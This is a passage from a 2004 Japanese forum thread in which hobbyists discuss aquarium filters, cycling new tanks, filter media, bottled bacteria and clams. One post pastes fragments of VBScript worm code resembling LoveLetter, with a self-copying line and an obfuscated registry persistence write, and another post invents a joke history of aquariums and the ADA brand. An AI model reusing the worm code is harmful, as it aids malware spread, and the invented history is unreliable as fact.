ただ、1個目がプレフィルターな分、メインのポンプに少し負担がかかる。

並列なら2個分の流量、片方止めずに片方を洗浄したりできる
(まあ、直列でもプレだけ掃除すりゃいいことだけど)
259氏がどういう風にしようとしてるかわからないが
どちらにしろ、とり回しが複雑になると予想される、あと電気が2倍必要w

こんな感じ?単に濾過を増やしたいだけなら
プレのが安いから俺は直列のがいいと思うけど
水槽の大きさとフィルターの許容量次第では
流量が多い2個分のがいいかもしれない。


261 :名無しさん@お腹いっぱい。:04/03/30 10:54 ID:QO3i1HB+
とにかく初心者にいいかげんなことを教えるのは止めようよ。
水流が弱まることで濾過が働きやすくなるならエーハイムがポンプを弱めるよ。

262 :名無しさん@お腹いっぱい。:04/03/30 13:28 ID:PExnzRNY
いい加減なのはお前だ。
メーカーは中でまんべんなく水が回るかということや、
床置きした時の揚水力などを考えて、見合ったポンプを積んでいるだけ。
だから強めになってしまう。
最小公倍数的な設計にはなっているが、最適解ではない。

263 :名無しさん@お腹いっぱい。:04/03/30 13:35 ID:42sQRnXd
恥ずかしくない?

264 :名無しさん@お腹いっぱい。:04/03/30 15:03 ID:fQS+aplk
水槽を立ち上げて1週間、少し魚の量をふやしたら、
テトラの亜硝酸試験薬ですこし反応がでました。
黄緑色にほんの少しオレンジがまざったような…。
この亜硝酸は危険な濃度でなければほおっておいていいの?
バクテリアが増えれば自然と硝化されちゃうのかどうか
よく分からないので、知っているかた教えてください。

265 :260:04/03/30 15:13 ID:C03eM7jN
水流が適度に弱まれば濾過自体は働きやすくなるけど
流量は減るから単純に濾過力が増えるとは限らない。
過密に生体が入ってる場合は流量を増やして
総合的な濾過される水の全量が増えた方がいいかな
ってことだったんだけどわかりにくかったらスマソ。

266 :名無しさん@お腹いっぱい。:04/03/30 15:52 ID:p8/f2OoA
立上げ一週間で増やすな>>264
濾過の立ち上がりはまだまだ先だから
危険なレベルになる前に水替え1/3くらい
やっとけ
てか立上げの方法ならいくらでも転がってる
から立上げる前にググれよ・・・



267 :名無しさん@お腹いっぱい。:04/03/30 18:44 ID:O9FyWkrl
>>266
まぁそう言うな
みんな最初はそうやって失敗するんだ
>>264
くじけずガンガレ
三日おき位に必ず水質チェックを忘れるな
置き水は常に用意しておけよ


268 :名無しさん@お腹いっぱい。:04/03/30 20:38 ID:BgBhhHu2
水流が適度に弱まればの弱まる基準が不明確。
デフォが明らかに早すぎると言うことを説明しなければ。
説明なしに「弱まると濾過に役立つ」と言うと製品に欠陥がある、しかも
その欠陥を何十年も放置していると言うこととイコール。
そこまで言い切るつもりが無いならそういうことを書くべきではない。

プレフィルターを用意しだしたのはエーハイムの歴史のほんのわずかな
部分でしかない。あればあったで使いたくなるものだけど必須ではない
のは誰もが認めるところ。

付ければ即ろ過力アップに繋がるのは確かではあるが、それは元に欠陥が
あるのではなく元はただ元でしかないだけのこと。足せば機能も足される
だけのこと。元に欠陥があってプレフィルターを足すことによって本来の
機能になるがごとき表現は初心者を惑わすことになりはしないか?

信者でも社員でもないのであしからず。ただ言葉足らずに表現してそれが
当たり前のようになってしまっては質問した人にとって悪影響なので訂正
しておく。

エーハイムに限らずそれら製品は単体でも十分に機能するように設計されて
販売されています。初心者の方は「少しでも多くの機材を使えば」何か良い
ことがあると思いがちです。適切な管理を飛ばして機材を購入しても良い
結果は伴いません。疑う心も大切ですがどの情報が正しいのか良く吟味して
自分に当てはめてください。大抵は判断できるヒントがどこかに隠されて
います。がんばってください。

269 :名無しさん@お腹いっぱい。:04/03/30 21:08 ID:HeQ4Z3CT
長いこと書いて、内容はそれだけかよと思わず突っ込んだり

自作したことある人ならわかるだろうが
ポンプをいじったり流量落としたりして負荷かけるのはやばい
まず熱を持つ、エビ飼いにはかなり危険なくらいあがる
そして壊れる、普通に壊れるなら良いんだけどショートしたことあるし
ブレーカー落ちて、ALLアボーンとかジャレになりませんよ

270 :名無しさん@お腹いっぱい。:04/03/30 22:19 ID:T038lWO1
また長いの苦手ちゃんが出現した
つーか長いか?

271 :名無しさん@お腹いっぱい。:04/03/30 23:15 ID:RFQyIZ63
>>268
そこまで否定するのは読んでて不愉快だ。
普通に補足すれば良い
外部フィルターはケースの容量が小さすぎる感じがするな
コンパクトにしたいがためにろ材容量を犠牲にしてると思う。

272 :名無しさん@お腹いっぱい。:04/03/30 23:20 ID:C03eM7jN
あまりでかくすると一つあたりの運搬量が高くなるしな

273 :名無しさん@お腹いっぱい。:04/03/30 23:29 ID:JiIuRUWj
>>270
長い

274 :名無しさん@お腹いっぱい。:04/03/31 01:11 ID:Vg45kdLZ
もうちっとレベル上げようぜ
否定されて不愉快なのは普段から否定ばっかされてるからか?
容量が不足ならサイズの大きなのを用意すれば済むだけだろ?
コンパクトにしたいがためにサイズを決めてると思ってるのか?
2260とかもあるぞ?

可能であれば役に立つべき「掲示板」だけどさ
雑音も多いので初心者は大変だ

275 :名無しさん@お腹いっぱい。:04/03/31 01:59 ID:KtnJhIdm
サイズでかいのを用意すればいいってw
259氏の質問置き去りだなw

276 :名無しさん@お腹いっぱい。:04/03/31 02:03 ID:KtnJhIdm
プレにしろメイン2個にしろ、濾過槽が2個あったほうが
便利だし安定するのは間違いないと俺は思う。

277 :名無しさん@お腹いっぱい。:04/03/31 02:30 ID:gSXGz1qJ
>>274
レベルを下げないでください!!

278 :259:04/03/31 02:31 ID:j25OQUVe
お手数かけます、、(´ ・ω・`)
現在60cmタンクに2213を1つ使用していまつ
で、90cmタンクに変更するのでお聞きした次第でつ

使用中の2213をこのまま使いたいので、新規にサブフィルターか2213を
欲しいと思いまして。。。サブフィル+ダブルタップなら
2213を買った方が得かなと、、ト言う事でしたので


279 :名無しさん@お腹いっぱい。:04/03/31 05:35 ID:/YiROR+g
モデルガンに使用するBB弾ってろ材にならないのでしょうか?
プラスチックろ材があるならBB弾でもろ材になるような気がするんですが。

280 :名無しさん@お腹いっぱい。:04/03/31 06:54 ID:uunZaX4/
>>279
詳しくはわからんが バイオ弾はデニボールと同じ素材らしい。
買いに行くのだ

281 :名無しさん@お腹いっぱい。:04/03/31 08:13 ID:0czL4ll6
>>279
以前、似た話題があがったが防水防湿コーティングがしてあるので
使うなら金槌でたたくなりして剥がしてくれとの事

282 :名無しさん@お腹いっぱい。:04/03/31 11:27 ID:wAxnQE19
>>279 280
生分解タイプのBB弾だね。東京マルイのやつ。

283 :名無しさん@お腹いっぱい。:04/03/31 13:12 ID:dQdsnuz+
275 :名無しさん@お腹いっぱい。 :04/03/31 01:59 ID:KtnJhIdm
サイズでかいのを用意すればいいってw
259氏の質問置き去りだなw


276 :名無しさん@お腹いっぱい。 :04/03/31 02:03 ID:KtnJhIdm
プレにしろメイン2個にしろ、濾過槽が2個あったほうが
便利だし安定するのは間違いないと俺は思う。


277 :名無しさん@お腹いっぱい。 :04/03/31 02:30 ID:gSXGz1qJ
>>274
レベルを下げないでください!!


284 :名無しさん@お腹いっぱい。:04/03/31 16:29 ID:HSoZ68yp
今頃>>274は顔真っ赤にしてるよ


285 :259:04/03/31 18:57 ID:UYZHJxcB
とりあえず2213フィルタを買って ぺラ抜き直列、並列かは
後で考える事にしまつ。。。サンクスヽ(´∀`)ノ


286 :名無しさん@お腹いっぱい。:04/03/31 21:34 ID:gSXGz1qJ
>>283>>284
もういいかげんやめて!!

287 :名無しさん@お腹いっぱい。:04/03/31 22:17 ID:Q4tdFRaC
60センチ水槽にエーハイム 2213 をセットし、
一週間後、大磯と底面フィルター(ニッソー) 導入

それから、3日たって水の濁り自体は消えているんだけど(昨日10L 換水)

今日、半透明なものがたくさnふわふわしているんだけど、
コレはいったいなんなんでしょう?

網で救いたいが見当たらないぽ

288 :名無しさん@お腹いっぱい。:04/03/31 22:26 ID:W6v7VdCr
ほっとくが吉>>287
1週間やそこらなら気にするな


289 :287:04/03/31 23:08 ID:Q4tdFRaC
>>288

ありがd

とりあえず白いモヤモヤは、使ってないスポンジフィルターの
スポンジをストレーナにかぶせて吸着させておくことにして、
しばらく様子見てみるよ。

大磯の洗い方が甘かったから、そのゴミかとも思ったが量多い・・

それにしても水できたら何入れるか楽しみだー




290 :名無しさん@お腹いっぱい。:04/04/01 03:15 ID:W8n1AeYJ
ニッソーがいきなり出してきた吸着系の濾材の数々について、みなさんどうお考えですか?

291 :名無しさん:04/04/01 09:30 ID:PTPPqSKz
明らかにキョーリンブラックホールのコピー品。
昨日、店にブラックホール買いに行ったら貰った。
NエSSOが持ってきたらしい。いらないからあげるって・・・。

292 :名無しさん@お腹いっぱい。:04/04/01 21:56 ID:M1tG99CF
市販の濾過バクテリアを大量にいれたらヤバイですか?
水槽立ち上げるのに、通常に10倍くらいいれて、
パイロットフィッシュ入れたら早く立ち上がるとか無理でしょうか?

293 :名無しさん@お腹いっぱい。:04/04/01 22:01 ID:4FgMycKr
そんなに焦りなさんな>>292
じっくり立ち上げの過程を楽しんでくりょ


294 :名無しさん@お腹いっぱい。:04/04/02 01:09 ID:PnadTX9I
水槽立ち上げに園芸用肥料がピッタリだと思うんですが、
何故だかあんまりそういう話を聞きませんね。

チッソ(アンモニア性窒素・硝酸性チッソ)・リン・カリが入っていて
安全ににパイロットフィッシュ投入と同じ効果が得られると思う
のですが。

295 :名無しさん@お腹いっぱい。:04/04/02 11:06 ID:Ek8Vw+WV
>>287
水面の物体がもし油膜ならシャワーパイプで水面を波立たせれば消えますよ。


296 :名無しさん@お腹いっぱい。:04/04/02 12:24 ID:0TCaHCjp
>>294
家の植木の土か、なければ公園の花壇の土を一つまみ
濾過層なんかに入れてやればいいと思う。

297 :名無しさん@お腹いっぱい。:04/04/02 12:56 ID:YQDmuOl8
>>296
いろんなものが湧いてきそうだな

298 :名無しさん@お腹いっぱい。:04/04/02 13:14 ID:PNTvFRav
>>294
普通は貧栄養状態にしたいからだと思う。
パイロットフィッシュ使うのは、主に硝化菌の発生が目的だから
アンモニア水で足りるかも。

299 :名無しさん@お腹いっぱい。:04/04/02 13:24 ID:9hftnw8f
>>298
アンモニア水は身近ですね!ジョジョーっと。ブルブルッ。ふぅ〜。

300 :名無しさん@お腹いっぱい。:04/04/02 14:45 ID:VTXdLhhe
尿酸は向かないような気がする

301 :名無しさん@お腹いっぱい。:04/04/02 15:53 ID:Sxh1ctcm
>>299
糖が降りてるとすんごい泡が立つらすいから、
よく観察汁!!

302 :名無しさん@お腹いっぱい。:04/04/02 17:06 ID:FDyFkD0r
海外のサイトなんかだと
アンモニアをぶち込む方法が載っているよね。

303 :名無しんぼ@お腹いっぱい:04/04/02 21:43 ID:mXG9+HpL
>>299
アンモニアになるのに時間がかかる

304 :名無しさん@お腹いっぱい。:04/04/02 22:02 ID:Uq9HQdt/
すぐに参加しそうな気がするけど>尿素

305 :名無しさん@お腹いっぱい。:04/04/02 22:06 ID:QJYhLcvx
30センチのOF水槽を知人より譲りました。

明日から海水水槽を立ち上げて 最終的にはイソギン&クマノミでも
飼おうと考えています。

既に60センチ水槽でヤッコを2年飼育しているのでそこの濾材使えば
手っ取り早いのですが。真っ新な状態からの立ち上げをもう一度やっ
てみて、このスレで報告してみようかな? と考えています。

水槽は30センチキューブ水槽 サンプも30センチキューブです。
PH測定は毎日 亜硝酸 硝酸塩 の測定を2日に1回していきます。

色々な立ち上げ方があるとは思いますが、早く安くで良い案を 教え
てください。


306 :305:04/04/02 22:17 ID:QJYhLcvx
さて、まず ろ過材と底砂と水と塩ですね。

ろ過材はどこの奴が良いのか? PHは既存の水槽で使っているので
すが、ちょっと触りたくないので 新規で買いに行きます。

マカロニが良いかサンゴ砂が良いか はたまたスポンジを砕いたのが
良いか・・ 経験上最強の炉材を教えてください
お勧めメーカーと製品名を教えて頂ければ助かります。

底砂はサンゴ砂になるのでしょうが海水でそれよりも優れている底砂が
あれば教えてください。

水、サンプ併せておおよそ40リットルぐらいですが海水を汲んでくる体力
は無いので、人工海水になるでしょう。
スレ違いなので参考のURLを教えて頂けると助かります。

バクテリアの種はまだ後です。

 

307 :名無しさん@お腹いっぱい。:04/04/02 22:51 ID:WCzgAcAZ
これを機にモナコ(風)水槽にしてみるとかはどうかな?

モナコ風の水槽管理
http://hobby.2ch.net/test/read.cgi/aquarium/1011439151/

でも小型水槽だ砂増やすとと
水量が減っちゃうからあれだけど。

308 :305:04/04/02 23:02 ID:QJYhLcvx
>>307
どもです。

モナコでもいいんですが、せっかく容量の少ない水槽。バケツ一杯程度の
換水で済むのだから モナコが出てくる前の方法でやってみたい。

2ちゃん式みたいな新しいろ過方式を確立出来れば ネ申 です



309 :名無しさん@お腹いっぱい。:04/04/03 01:17 ID:1X4TwD+5
コリ水槽でエーハイム2224に
上段:洗車スポンジ、下段:バーベキュー用木炭
の構成で、すでに1年が経過したけど、鬼のように安定しており、
足し水のみで1匹も落ちていない。

310 :名無しさん@お腹いっぱい。:04/04/03 02:25 ID:t/tLC7Mr
はい
わかりました
で?

311 :名無しさん@お腹いっぱい。:04/04/03 05:16 ID:qrrd+ne4
>>310
 い
 か
 ?

312 :305:04/04/03 08:50 ID:JwWsOWYQ
洗車スポンジ最強説でいいのかな?
今までマカロニ材使っていたからいまいち不安だな

洗車スポンジだったら低コストで済むけど いいんだろうか
いいんだろうか・・


313 :名無しさん@お腹いっぱい。:04/04/03 13:47 ID:SCa0AJXX
不安ならやめとけ、誰も保証してくれないぞ
今まで使ってた炉材ならそれなりにノウハウ有るじゃろ?

314 :名無しさん@お腹いっぱい。:04/04/03 17:36 ID:l6GKUJVf
とにかく使えばいいと思う。使いたいなら。
ただすぐに対処できるようにまともな濾材も用意しておくべきだけどね。

315 :名無しさん@お腹いっぱい。:04/04/05 01:31 ID:Gt/wt8yu
俺の上部濾過にはポリエーテルのスポンジだけだ。
間違ってもセルロースなのは買うなよ。
とけてなくなるぞ。

316 :名無しさん@お腹いっぱい。:04/04/05 08:33 ID:ln+6uT4W
セルロース溶けたら水質になんか影響餡だろうか

317 :名無しさん@お腹いっぱい。:04/04/05 14:21 ID:hXExnx5q
セルロースは溶けるつーか微生物に分解される
分解されたもんは糖類なので無害。

318 :名無しさん@お腹いっぱい。:04/04/05 16:27 ID:snp2zIWG
砂糖濾過?

319 :名無しさん@お腹いっぱい。:04/04/05 16:29 ID:yyMOTlEN
なんだなんだ、むしろ良いことになりそうだな。<セルロース=砂糖添加法

320 :名無しさん@お腹いっぱい。:04/04/05 17:25 ID:hXExnx5q
でも、すぐに分解されちまったら濾材としてはどうかとw
GEXのバクターなんたらっていうスポンジ濾材みたいな奴も
セルロースなのかは知らないが2,3ヶ月で粉々になるし使いにくい。

321 :名無しさん@お腹いっぱい。:04/04/05 23:56 ID:dcfnrY0B
濾材を買わせるためにメーカーも必死なんじゃねーの?

322 :名無しさん@お腹いっぱい。:04/04/06 00:41 ID:wNOuW2jU
そのうち仇もスポンジ濾材だしたりw

A○Aスーパーバイオトルマリンスポンジ、コサックB:
 多孔質で吸水性にすぐれ素早い立ち上がりと、トルマリンによる
 連続的な波動調整により、貴方の水槽をナチュラルアクアリウムに
 近づけるでしょう。   1L 3980円
 
 *スーパージェットフィルターとの組み合わせにより更に
 波動を水槽内に送ることができます。

んで、セルロースで出来ててすぐ交換とか(;・∀・)コワーww


323 :名無しさん@お腹いっぱい。:04/04/06 00:51 ID:n9uJwqeo
なかったっけ?

324 :名無しさん@お腹いっぱい。:04/04/06 01:18 ID:J2LwNrPH
あそこが始めたようなモンだろ。

ADAバイオキューブ  2Lで¥2k位だったような・・・・

5年ほど前信者だった俺は、箱開けてから呆然としたのを覚えてる。

脱会のキッカケを作ってくれた商品だたな・・・・・


325 :322:04/04/06 01:48 ID:wNOuW2jU
あるのかYO!

って、ググったら
ttp://www.rakuten.co.jp/biotop-jp/102179/108801/257346/

まさかあるとは…しかも高いw

326 :322:04/04/06 01:50 ID:wNOuW2jU
しかもキューブの上のセラミックもすげー怪しいw

327 :名無しさん@お腹いっぱい。:04/04/07 18:20 ID:8s4CgjK1
みなさん濾過バクテリア何使ってます?
パピエB4って初め使ったけど、コストかかりすぎ。
いまはスドーのパワーバクター使ってます。
濾過は上手くいっています。パワーバクター使っている人って多いでしょうかねえ。
他のバクテリアの方が良いっていう方います?

328 :名無しさん@お腹いっぱい。:04/04/07 18:41 ID:NVoZjUPF
濾過バクテリアは水槽を新規に立ち上げるときしか使いません。
ゆっくり立ち上げるなら、市販のバクテリアいらないし。

329 :名無しさん@お腹いっぱい。:04/04/07 18:48 ID:8s4CgjK1
>>328 え?でも水換えの時も使わないんですか?
立ち上げだってバクテリアを入れないとものすごく時間がかかりません?

330 :名無しさん@お腹いっぱい。:04/04/07 19:10 ID:vugkYE77
>>327
いわゆる「バクテリアの元」とかいうのは使ったことはないんで、何とも言えない。
水槽に勝手に沸いたバクテリアが一番良いと思っている(安いし環境に合っているはずだし)。

あと、立ち上げに時間が掛かるって言っても、換水を多くすれば対応出来るし、他の水槽があればその水を使えばバクテリアは十分いるはずだし。

331 :名無しさん@お腹いっぱい。:04/04/07 19:12 ID:dQI4E37K
普通の人は立ち上げ時も水替え時もバクテリアの素的なものは入れません。
皆が皆それらを頼っているわけではありません。
好きで入れている、おまじない程度だ、そんな考えを否定しているわけではありません。

332 :名無しさん@お腹いっぱい。:04/04/07 20:49 ID:3iXYrqVH
スペースシャトルで飼ったメダカだかなんかに
使うための濾過バクテリア、
最適なのは勝手に湧いてきた奴だって前みた。
信じる信じないは自由だが、私はそんな物に金はかけない。


333 :名無しさん@お腹いっぱい。:04/04/07 21:08 ID:GQrPN9sw
>>329
つかわねーよ
おまえはだまってお布施でもしてろ
たぶん添加しないとバランスがとれない水槽になってるだろうから添加やめると崩壊するぞw

334 :名無しさん@お腹いっぱい。:04/04/07 22:34 ID:5iPBPJ1C
 バクテリアなんかは新規でも2週間前後回せば勝手に沸きますね。
 まあ新規の時は餌をほんの少し入れて腐らせたりと面倒ではある。
(もちろんこのときに魚いれたら死ぬとは思う)

 最近は既存の水槽から濾材の一部から絞り汁を混ぜるため1週間で
十分です。(アオミドロが少し沸くけど気にしない)

 しかしバクテリアの素は本当にお布施に近いとは個人的に思う。
 すっぽんもどき飼ってるんだけど水槽は2階だし、忙しいし、水は腐って
ついでにすっぽんも死んじゃうけどこれを入れれば大丈夫というCMが
雑誌にのってて、小一時間程問い詰めたくなりました。
 まさしくサボテン女だと思いました。


335 :名無しさん@お腹いっぱい。:04/04/07 22:44 ID:k6SyG9UG
バクテリアは商品にもよるんだろうけど
バイオスコールってヤツを
顕微鏡で観察したら、菌数がかなり少なかっよ。
廃棄用の海水の方が菌数多かったきがする・・・
(色々な菌が含まれているからだろうけど・・・)

とにかく、ぼったくれられた気がした。




336 :名無しさん@お腹いっぱい。:04/04/08 12:10 ID:6m9YMQ/m
市販バクテリアに釣られてくれる奇特な方たちのおかげでメーカーがもってるんだぞ
余計なことを言うなよ

337 :名無しさん@お腹いっぱい。:04/04/08 16:13 ID:x8uJo57x
市販のバクテリアって濾過バクテリアそのものではなくて
たぶん、バクテリアのエサになるようなものか
濾過バクテリアのエサ・栄養になるものを作る生物なんじゃないかな。

稚魚を育てるのに市販のバクテリアをモスあたりに吹きかけておくと
なぜかスクスク育つ、というのはいくつかのHPで見たことがある。

338 :名無しさん@お腹いっぱい。:04/04/08 18:22 ID:Olaw9AjP
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))


339 :名無しさん@お腹いっぱい。:04/04/08 19:58 ID:k+u+UZjZ
ウイルスコード書くなよ
ウイルスソフト入れてるやつは、透明アボーン推進
ログが消されてエラーが出るかも

340 :名無しさん@お腹いっぱい。:04/04/08 21:19 ID:G1ncvS5C
最近はワクチンソフトって言わないのかな?

まぁ どーでもイイ事だな・・

341 :名無しさん@お腹いっぱい。:04/04/08 23:16 ID:HRXpWdqo
俺はジジイがやってる小さい熱帯魚屋で一式揃えたとき、ジジイがお店のディスプレイ水槽のろ材を1Lほどくてた。
水が澄んだら即ネオンを入れたが、おかげさまで最初から亜硝酸検出されず。

342 :名無しさん@お腹いっぱい。:04/04/09 04:35 ID:d5ugsWJx
運が良かったな。店の水槽に病気が蔓延してなくて

343 :名無しさん@お腹いっぱい。:04/04/09 10:48 ID:vd+WkrsA
質問ですが、外部フィルターでプレフィルター、プライム20、プライム20、
フルーバル203を4連結してるのですが問題ないよね?それでプライム20,2つ
だけで回してます。(全部回すと水流が強いから)ちなみに90センチスリム
です。

344 :名無しさん@お腹いっぱい。:04/04/09 16:38 ID:zqlWNO7M
4つ全部で直列?
2つずつに分けた方がいいんじゃなかろか

345 :名無しさん@お腹いっぱい。:04/04/09 22:15 ID:TwSbPQ/2
>>318-320
デニボールやナイトレイトマイナスも似たようなもんです。
生分解プラスチックと言われる類です。炭素源(糖分)は通性嫌気バクテリア
のエサとなります。砂糖添加水槽は糖分を桁外れに多く使う別の方式です。

バクターセルは、細かなセルロースブロックを水流とエアに躍らせる事で内部
に通水しづらくしつつ多量に酸素を供給し、表面では好気性バクテリアによる
硝化、内部では硝化菌の食べ残した微量の酸素と炭素源を使って通性嫌気バク
テリアが脱窒を行います。

マカロニなどとは違いスポンジ状ですので、内部が完全な嫌気状態にはなりま
せん。ですので偏性嫌気バクテリアによる硫化水素発生の恐れもありません。

食い尽くされると崩れるので、その前に交換するか排水側に物理濾過を付けて
下さい。物理濾過の濾材として使うと通水が良すぎて通性嫌気バクテリアの働
きが弱くなる場合があります。

346 :名無しさん@お腹いっぱい。:04/04/09 22:24 ID:TwSbPQ/2
マカロニは、最奥部には水入らないので逆に硫化水素も殆ど溶出しないでしょう。
マカロニ悪く言うつもりはないよのー

347 :名無しさん@お腹いっぱい。:04/04/10 07:17 ID:OMr+oD5W
洗車スポンジ
それでいいじゃない。 それでいいじゃない。

348 : :04/04/10 10:55 ID:4fiRiSrC
こないだテレビで二枚貝が川の水を浄化しているって言うのを見たんですが、
水量にあった二枚貝を水槽に入れとけば、濾過装置無しでも魚は飼えるモンなんでしょうか。



349 :名無しさん@お腹いっぱい。:04/04/10 11:07 ID:0tmFBhlI
自然をナメちゃイカン。我々は、バイオスフィアの失敗から学ぶべきだ。

350 :名無しさん@お腹いっぱい。:04/04/10 12:18 ID:gDbBwu73
>>348
40L水槽に、砂利5cm敷いて、アナカリス一束、
近所の池で釣った10cmぐらいのどろ亀1匹、
近所の池で掬った5〜7cmのブルーギル10匹前後(生餌兼用、随時補充)、
近所の川で拾った2〜3cmのシジミ30個、
エアレーションのみ、水換え無し(蒸発した分足すだけ)
ガラス面は、緑のコケだらけだけど、水はスッゴク透明。
この春で一周年。

で、これはシジミのおかげだったんですか?
コケ掃除しないのが勝因だと思っとったんですが。

351 :名無しさん@お腹いっぱい。:04/04/10 17:31 ID:wpD9m97R
>>350
バランスが崩れるのは少数の原因のことが多いから「敗因」は分かると思うが、バランスが保たれるというのは程々うまくいくことだから「勝因」は何かと言うのは難しいのではないかと思う。

352 :名無しさん@お腹いっぱい。:04/04/10 20:31 ID:73U0u5JK
>>348
二枚貝を維持するのが大変。
プランクトン食だし、魚よりも難しい。

353 :名無しさん@お腹いっぱい。:04/04/11 02:00 ID:y9PCFiSY
>>350
わかってて言ってるでしょ? コケのおかげです。

354 :名無しさん@お腹いっぱい。:04/04/11 02:12 ID:wyQGmPUR
アナカリスじゃない?

355 :名無しさん@お腹いっぱい。:04/04/11 03:01 ID:y9PCFiSY
350がコケ掃除が〜といってるので、アナカリスはそれほど入ってはいないかと。

356 :350:04/04/11 08:42 ID:jn7wuyKU
いや、俺もさぁ、コケのおかげだと思ってたんだけどさぁ。
348読んでから、シジミが導管2本突き出してスーハーやってるの見ると
こいつらが、小型生体フィルタに見えて来ちゃったのよ。
日当たり良好なのに青水にならないのがナゾだったし。
でも、やっぱ、コケだよなぁ。コケ取ったら破綻するよなぁ。
今のままだと上からしか見えないから衣装ケースと一緒だしなぁ。
しかし、コケ取ったらマズイよなぁ。
あ、アナカリスはカメとギルのオヤツになってて、ほとんど茎しか残ってない。

357 :名無しさん@お腹いっぱい。:04/04/11 22:05 ID:y9PCFiSY
>>356
二枚貝は水中のプランクトン食べるので、植物性プランクトンも食べてます。
コレが青水にならない原因を担ってるのは確かでしょう。どの道、富栄養化
が進まなければガラス面のコケと青水が両方てのは、あんまりないです。

でもアンモニアを排出するので、まぁ、水は澄めども毒素は減らずと言った
ところ…どころか、硝酸塩を窒素にする役割を担う植物性プランクトン喰っ
ちゃってるのは、足引っ張ってるような気が…

二枚貝の役割は、富栄養化の防止(水の汚濁防止)により貧酸素状態を防ぐ
のと、ピュピュッとやる事での水の循環です。でもアンモニアは排泄してま
すよ。てとこです。

358 :350:04/04/12 10:50 ID:apAsAjc6
判り易い解説サンクス。
ようするに、コケ取り石巻貝に対して、アオコ取り二枚貝なのね。

あのさぁ、コケ掃除したら、どっちになると思いますか?
1.コケ取っちゃう--->アオコ爆殖--->シジミ大活躍--->ガラス透明/水透明
2.コケ取っちゃう--->シジミが喰っちゃうんでアオコ活躍せず--->硝酸塩増え捲り



359 :名無しさん@お腹いっぱい。:04/04/13 12:37 ID:HWpsQqpV
水槽立ち上げのために、近所の川から水を汲んでくるというのは
方法としてどうなんでしょうか?

田舎の鮭が遡上する河川で、中流域です。

360 :名無しさん@お腹いっぱい。:04/04/13 13:00 ID:sc0DDdxn
川の水でしかも中流域って、化学物質や菌の危険がないか?
取水地より上流に人が住んでいなくて工場も鉱床もないのなら
良いだろうけど、一般に水道水のほうが安全だろう

361 :名無しさん@お腹いっぱい。:04/04/13 13:19 ID:eB6EBQsA
>>359
水道なら水道局で水質を調べてくれるけど、川の水も調べてくれるのかな?

362 :名無しさん@お腹いっぱい。:04/04/13 13:54 ID:n60lB55r
プラとかゲジとかその他いろいろ発生しないか心配

363 :名無しさん@お腹いっぱい。:04/04/13 14:23 ID:hj+ufCuF
ヒルもいるぞ

364 :名無しさん@お腹いっぱい。:04/04/13 17:35 ID:tjZC44H6
鮭なんてよごれててもくるからなぁ
立ち上げならそこまでする必要ないかと

365 :359:04/04/14 02:32 ID:rhKX2T5v
大人しく水道水で立ち上げます('A`)

366 :名無しさん@お腹いっぱい。:04/04/14 21:48 ID:wl1+UZPs
>>358
1も2も、水がきれいになった段階でシジミの死活問題に。
今のままでいくか、青水で維持するかしないとシジミが…

367 :名無しさん@お腹いっぱい。:04/04/14 23:20 ID:OcObT8gU
プライム20をサブフィルターとして使用。
エーハイム2215で引っ張るかたち。

夕方、状態を確認したらプライムの青いバックル部分より漏水。
にじみ出てくる感じ。
Oリングの劣化だろうか?


('A`) プライムノブヒンナンテアンマリウッテネーヨ・・・

368 :名無しさん@お腹いっぱい。:04/04/15 00:25 ID:8+KRc5Ga
アクアベースなら通販で部品ありよ。検索汁。
Oリングが399円。関東・中部・東北・関西は送料500円。

ウィズダムの部品がないから俺には関係ないケドオネガイスレバトリヨセテクレル。

369 :名無しさん@お腹いっぱい。:04/04/16 23:53 ID:F0HnfXQp
長文が減ってさみしい(´・ω・`)

370 :345=357:04/04/17 00:36 ID:aPWQQhbM
呼びまひた?

371 :名無しさん@お腹いっぱい。:04/04/17 21:36 ID:TRivUULs

テトラのOT−30 を使い、アカヒレと、アンブリアを育てていました。
非常に順調でした。茶色のコケがちょっと気になりましが。

ある日、OT−30を改造し、リング式濾材に交換しました。
それ以来、魚はOkですが、アンブリアはは溶けて枯れました。

その後、2回アンブリアを買いましたが、だめでした。
3回目も、だめみたいでした。(夜に、葉が閉じなくなる)
3日目に、リング式濾材をとり出し、OT−30純正の
活性炭入りパックに戻したところ、アンブリアは蘇り、
それ以来、順調です。

いったい、何が原因だったのでしょうか。

372 :名無しさん@お腹いっぱい。:04/04/18 03:24 ID:D3VbGpTX
>>371
リング式濾材が原因です。

373 :名無しさん@お腹いっぱい。:04/04/18 03:28 ID:c1WVvd6e
>>371
PH

374 :名無しさん@お腹いっぱい。:04/04/18 04:53 ID:3PHtBrsP
>>369
じゃあここで雑談長文を一つドゾー。

アクアリウムというものはそもそも紀元前19世紀ごろから
メソポタミアのティグリス川周辺で始まったものである。
最初に干しレンガの池で魚を育てたのは
古バビロニア王国の商人、アムハド=アラムランと言われている。
彼は昔はまずしい村の出身の子で、小さい頃は異民族との戦争に巻き込まれ、家を転々としていた。

そんなある日、少年は豊かな川でのんびりと泳ぐ魚の群れをみた。
いつかはこの魚のような、平和な暮らしがしたい。そう思いながら少年期を過ごした。
18歳の時、彼は生物を中心に生態系を学んでいた。
毎日川へ行っては、主に魚、水草を観察していた。
そしてその頃、水を通さない干しレンガが開発され、作られるようになっていた。
彼は魚を研究するに当たって、閉ざされた生態系空間、つまり今で言う水槽を作りたいと思っていた。
そこで、干しレンガを使って念願の池を作った。川の小魚数種、水草を入れ、観察を始めた。
彼はこの池で魚、水草の状態を毎日観察、研究していた。

ある日、一人の富豪商人が彼の家の前の池を通った。
商人は小さな池の中で立派な一つの生態系が成り立っているのを見て
たいそう感動し、アラムランに自分の家にも池を作ってほしいと頼んだ。
アラムランが町の中心地にある彼の家の前に池を作ると、人々は興味を持って池を覗き、
池は毎日見物客でごった返していた。アラムランは池を作る会社を設立、
メソポタミアの人々の間で魚を飼うということが一般的になった。これが世界史におけるアクアリウムの始まりといわれている。

ちなみに、彼の会社名はアクア・デザイン・アラムラン(通称ADA)、
アラムランの子孫が、今日の天野尚その人である。

375 :名無しさん@お腹いっぱい。:04/04/18 16:31 ID:Y3uBphLo
なるほど勉強になったよ。
さすがはADAブランドだね。

